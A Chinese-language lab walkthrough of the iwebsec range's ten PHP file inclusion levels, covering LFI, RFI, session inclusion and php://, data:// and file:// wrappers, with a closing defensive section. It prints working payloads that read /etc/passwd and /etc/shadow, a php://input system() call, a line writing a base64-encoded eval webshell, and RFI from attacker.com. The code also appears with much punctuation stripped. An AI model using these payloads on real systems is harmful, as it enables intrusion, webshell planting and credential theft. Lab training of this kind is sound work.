PHP 文件包含漏洞实战iwebsec 靶场 10 关核心利用手法与 3 类伪协议解析在 Web 安全领域文件包含漏洞File Inclusion Vulnerability一直是渗透测试中的高频攻击点。iwebsec 靶场作为国内知名的 Web 安全实战平台其文件包含模块设计了 10 个由浅入深的关卡全面覆盖了本地文件包含LFI、远程文件包含RFI、Session 文件包含以及 PHP 伪协议利用等核心攻击手法。本文将基于实战视角系统性地拆解这 10 个关卡的技术要点并深入分析 3 类关键伪协议的底层原理与创新利用方式。1. 靶场环境搭建与基础概念1.1 Docker 靶场快速部署使用官方提供的 Docker 镜像可在 30 秒内完成环境搭建docker pull iwebsec/iwebsec:latest docker run -d -p 8001:80 --name iwebsec iwebsec/iwebsec访问http://localhost:8001即可进入靶场界面文件包含漏洞模块路径为/fi/目录。1.2 文件包含漏洞本质当 PHP 代码使用以下函数动态包含文件时若未对参数进行严格过滤则可能引发漏洞include($_GET[file]); require_once($path.header.php);攻击者通过控制文件路径参数可实现读取服务器敏感文件/etc/passwd执行任意 PHP 代码WebShell触发反序列化漏洞漏洞类型对比表类型触发条件典型危害本地文件包含(LFI)能访问服务器本地文件敏感信息泄露、代码执行远程文件包含(RFI)allow_url_includeOn直接获取服务器控制权Session 文件包含Session 内容可控权限提升、持久化后门2. 基础关卡本地文件包含实战2.1 关卡 1直接文件包含漏洞代码// fi/01.php $filename $_GET[filename]; include($filename);利用方式http://localhost:8001/fi/01.php?filename../../../../etc/passwd关键技巧使用../进行目录遍历Linux 常见敏感文件路径/etc/passwd # 用户账户信息 /proc/self/environ # 环境变量 /var/log/apache2/access.log # Web日志2.2 关卡 2过滤绕过技术当系统过滤/字符时可采用以下手法方法一URL 编码绕过?filename..%2f..%2f..%2fetc%2fpasswd方法二超长路径截断PHP5.2.8# 生成 4096 个字符的路径 payload ./*2048 etc/passwd3. 高阶利用Session 与伪协议3.1 关卡 3Session 文件包含攻击链构建发现 Session 可控点/fi/03.php?iwebsec?php phpinfo();?获取 Session ID// Chrome DevTools - Application - Cookies document.cookie.match(/PHPSESSID([^;])/)[1]包含 Session 文件/fi/01.php?filename../../../../var/lib/php/sessions/sess_abc123Session 文件路径规律默认路径/var/lib/php/sessions/命名规则sess_[PHPSESSID]3.2 关卡 6-8PHP 伪协议深度利用3.2.1 php://filter 协议源码读取技巧/fi/06.php?filenamephp://filter/convert.base64-encode/resourceindex.php提示Base64 编码可避免 PHP 代码被直接执行过滤器链组合应用# 多重编码绕过WAF payload php://filter/convert.iconv.UTF-8.UTF-7|convert.base64-encode/resourceconfig.php3.2.2 php://input 协议POST 数据执行GET /fi/07.php?filenamephp://input HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded ?php system(id);?木马写入技巧?php file_put_contents(shell.php, base64_decode(PD9waHAgZXZhbCgkX1BPU1RbJ2MnXSk7));4. 远程文件包含与特殊协议4.1 关卡 4-5RFI 利用条件必要配置检查// php.ini 关键配置 allow_url_fopen On allow_url_include On绕过域名限制技巧/fi/05.php?filenamehttp://attacker.com/shell.txt? /fi/05.php?filenamehttp://127.0.0.1:8080/bypass.txt%234.2 关卡 9-10data:// 与 file:// 协议data:// 代码执行/fi/10.php?filenamedata://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpOwfile:// 绝对路径读取/fi/09.php?filenamefile:///etc/shadow5. 防御方案与实战建议5.1 安全编码规范// 白名单校验 $allowed [header.php, footer.php]; if(in_array($file, $allowed)) { include($file); } // 路径固定化 define(BASE_DIR, /var/www/includes/); include(BASE_DIR . $file);5.2 服务器加固措施PHP 配置优化allow_url_include Off open_basedir /var/www/html:/tmp文件权限控制chmod -R 750 /var/www chown -R www-data:www-data /var/www在实战渗透测试中文件包含漏洞往往与文件上传、SQL 注入等漏洞形成组合攻击链。建议在 iwebsec 靶场中尝试以下进阶练习通过 LFI 读取数据库配置文件结合日志文件包含实现无文件攻击利用 phar:// 协议触发反序列化